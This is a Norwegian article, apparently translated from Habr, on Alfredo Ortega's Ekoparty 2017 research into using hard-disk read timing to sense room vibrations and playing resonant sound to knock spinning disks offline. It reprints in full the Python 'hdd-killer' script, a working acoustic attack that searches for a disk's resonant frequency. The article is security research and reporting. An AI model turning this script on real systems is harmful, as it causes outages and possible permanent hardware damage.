Hvorfor du ikke bør rope på harddisken din

Hvorfor du ikke bør rope på harddisken din

På datasikkerhetskonferansen Ekoparty 2017 i Buenos Aires viste den argentinske hackeren Alfredo Ortega en veldig interessant utvikling – et system for skjult avlytting av lokaler uten bruk av mikrofon. Lyd tatt opp direkte på harddisken!

HDD-en fanger hovedsakelig opp lavfrekvente lyder med høy intensitet, fottrinn og andre vibrasjoner. Menneskelig tale kan ennå ikke gjenkjennes, selv om forskere driver forskning i denne retningen (talegjenkjenning ved lavfrekvente vibrasjoner, som for eksempel registreres fra et gyroskop eller HDD).

Lyd er vibrasjon av luft eller et annet medium. En person oppfatter dem gjennom trommehinnen, som overfører vibrasjoner til det indre øret. Mikrofonen er utformet omtrent som et øre – også her registreres vibrasjoner av en tynn membran, som eksiterer en elektrisk impuls. Harddisken er selvfølgelig også utsatt for mikroskopiske vibrasjoner på grunn av svingninger i luften rundt. Dette er kjent selv fra de tekniske egenskapene til HDD-er: produsenter angir vanligvis det maksimalt tillatte vibrasjonsnivået, og selve harddisken prøver ofte å plassere den i en vibrasjonssikker beholder laget av gummi eller annet isolerende materiale. Fra dette er det lett å konkludere at lyder kan tas opp med HDD. Alt som gjenstår er å finne ut hvordan.

Alfredo Ortega foreslo en unik versjon av et sidekanalangrep, nemlig et tidsangrep. Dette angrepet er basert på antakelsen om at forskjellige operasjoner utføres på enheten til forskjellige tider, avhengig av inndataene som er gitt. I dette tilfellet er "inndataene" vibrasjonene til lesehodet og HDD-platen, som korrelerer med vibrasjonene i miljøet, det vil si med lyd. Således, ved å måle beregningstiden og utføre statistisk analyse av dataene, er det mulig å måle vibrasjonene til hodet/platen og dermed vibrasjonene til mediet. Jo lengre forsinkelse i lesing av data, jo sterkere HDD-vibrasjoner og derfor høyere lyd.

Hvordan måle harddiskvibrasjoner? Veldig enkelt: bare kjør systemanropet read () – og registrer tiden det tar å fullføre. Moderne operativsystemer lar deg lese tidspunktet for systemanrop med nanosekunders nøyaktighet.

Hastigheten til å lese informasjon fra en sektor avhenger av posisjonen til hodet og tallerkenen, som korrelerer med vibrasjonene i HDD-dekselet. Det er alt.

Statistisk analyse utføres ved hjelp av et enkelt Kscope-verktøy. Som de sier, alt genialt er enkelt.

Hvorfor du ikke bør rope på harddisken din
Kscope-verktøy (stat() syscall)

Kscope er et lite verktøy for å visualisere små forskjeller i utførelsestider for systemanrop. Kildepublisert på GitHub.

I et eget depot HDD-tid det er en versjon av verktøyet konfigurert for et tidsangrep på harddisken, det vil si konfigurert til å analysere systemanropet read ().

Demonstrasjon av lydopptak med HDD, bruk av Kscope-verktøyet


Selvfølgelig kan ikke tale forstås på denne måten, men HDD-en egner seg ganske godt som vibrasjonssensor. For eksempel kan du registrere om en person som har på seg harde sko eller barbeint gikk inn i et rom med en datamaskin (sannsynligvis, hvis angriperen har på seg myke joggesko eller det er et tykt teppe på gulvet, vil ikke harddisken kunne registrere vibrasjoner - dette er verdt å sjekke). Datamaskinen er i stand til å registrere knust glass eller andre hendelser med sterk lydintensitet. Det vil si at harddisken kan fungere som et slags uautorisert inntrengningsdeteksjonssystem.

HDD morder

Forresten, en lignende teknikk kan brukes til å deaktivere harddisker. Bare her fjerner vi ikke svingninger fra HDD, men tvert imot genererer vi oscillasjoner som mates til HDD. Hvis du spiller av lyd fra en høyttaler på en frekvens som resonerer med HDD-frekvensen, slår systemet snart av enheten med en I/O-feil (Linux-kjernen slår helt av HDD-en etter 120 sekunder). Selve harddisken kan få irreversibel skade.

Hvorfor du ikke bør rope på harddisken din
Linux-kjernen slo av harddisken etter 120 sekunder med å levere lyd med en resonansfrekvens gjennom høyttaleren til Edifier r19u USB-høyttaleren. Høyttaleren slås på med omtrent en fjerdedel av effekten (mindre enn 100 mW) og er plassert 20 cm fra harddisken, rettet mot bordet for å forsterke vibrasjoner. Ramme fra video med en demonstrasjon av HDD-morderen

Det er merkelig at slike "angrep" på HDD-er noen ganger oppstår helt ved et uhell i hverdagen. For eksempel, i september 2016 ble ING Banks datasenter tvunget til å stanse driften i 10 timer etter en brannøvelse. Dusinvis av harddisker har sviktet på grunn av den høye lyden av inert gass som slippes ut fra sylindere under høyt trykk. Lyden var veldig høy (mer enn 130 dB), men du kan ikke engang rope på harddiskene - dette øker forsinkelsen i å få tilgang til HDD.

Demonstrasjon av menneskelig skriking på harddisker i et datasenter. Latensmåling


For å generere den resonerende lyden skrev Alfredo Ortega et Python-manus kalt hdd-killer (video demonstrasjon).

HDD killer script Den er ganske liten, så du kan publisere den i sin helhet her.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Kilde: www.habr.com

Legg til en kommentar